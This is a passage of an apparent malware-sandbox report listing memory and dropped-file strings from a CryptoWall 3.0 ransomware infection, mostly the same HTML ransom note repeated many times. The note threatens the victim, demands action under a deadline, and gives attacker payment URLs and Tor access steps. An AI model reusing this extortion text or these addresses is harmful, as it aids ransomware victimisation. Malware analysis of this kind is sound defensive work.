encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/%S" target="_blank">http://aep554w4fm8j.fflroe598qu.com/%S</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/%S" target="_blank">http://aoei243548ld.keedo93i1lo.com/%S</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/%S" target="_blank">https://zpr5huq4bgmutfnf.onion.to/%S</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installation, run the browser and wait for initialization.<br>3. Type in the address b
Source: svcmtr.exe, 0000000B.00000002.370984556.0000000000431000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: svcmtr.exe, 0000000B.00000002.370940853.0000000000260000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/%S" target="_blank">http://aep554w4fm8j.fflroe598qu.com/%S</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/%S" target="_blank">http://aoei243548ld.keedo93i1lo.com/%S</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/%S" target="_blank">https://zpr5huq4bgmutfnf.onion.to/%S</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installation, run the browser and wait for initialization.<br>3. Type in the address b
Source: svcmtr.exe, 0000000B.00000002.370940853.0000000000260000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: svcmtr.exe, 0000000C.00000002.387290975.00000000002C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/%S" target="_blank">http://aep554w4fm8j.fflroe598qu.com/%S</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/%S" target="_blank">http://aoei243548ld.keedo93i1lo.com/%S</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/%S" target="_blank">https://zpr5huq4bgmutfnf.onion.to/%S</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installation, run the browser and wait for initialization.<br>3. Type in the address b
Source: svcmtr.exe, 0000000C.00000002.387290975.00000000002C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: svcmtr.exe, 0000000C.00000002.387316507.0000000000431000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/%S" target="_blank">http://aep554w4fm8j.fflroe598qu.com/%S</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/%S" target="_blank">http://aoei243548ld.keedo93i1lo.com/%S</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/%S" target="_blank">https://zpr5huq4bgmutfnf.onion.to/%S</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installation, run the browser and wait for initialization.<br>3. Type in the address b
Source: svcmtr.exe, 0000000C.00000002.387316507.0000000000431000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: svcmtr.exe, 0000000D.00000002.406412332.0000000000240000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/%S" target="_blank">http://aep554w4fm8j.fflroe598qu.com/%S</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/%S" target="_blank">http://aoei243548ld.keedo93i1lo.com/%S</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/%S" target="_blank">https://zpr5huq4bgmutfnf.onion.to/%S</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installation, run the browser and wait for initialization.<br>3. Type in the address b
Source: svcmtr.exe, 0000000D.00000002.406412332.0000000000240000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: svcmtr.exe, 0000000D.00000002.406449433.0000000000431000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/%S" target="_blank">http://aep554w4fm8j.fflroe598qu.com/%S</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/%S" target="_blank">http://aoei243548ld.keedo93i1lo.com/%S</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/%S" target="_blank">https://zpr5huq4bgmutfnf.onion.to/%S</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installation, run the browser and wait for initialization.<br>3. Type in the address b
Source: svcmtr.exe, 0000000D.00000002.406449433.0000000000431000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: notepad.exe, 00000015.00000002.875324829.000000000017E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt48.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt112.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt293.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html113.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html353.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt119.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt382.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt411.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html57.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt327.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html192.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt376.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt155.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html9.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt379.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html247.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" 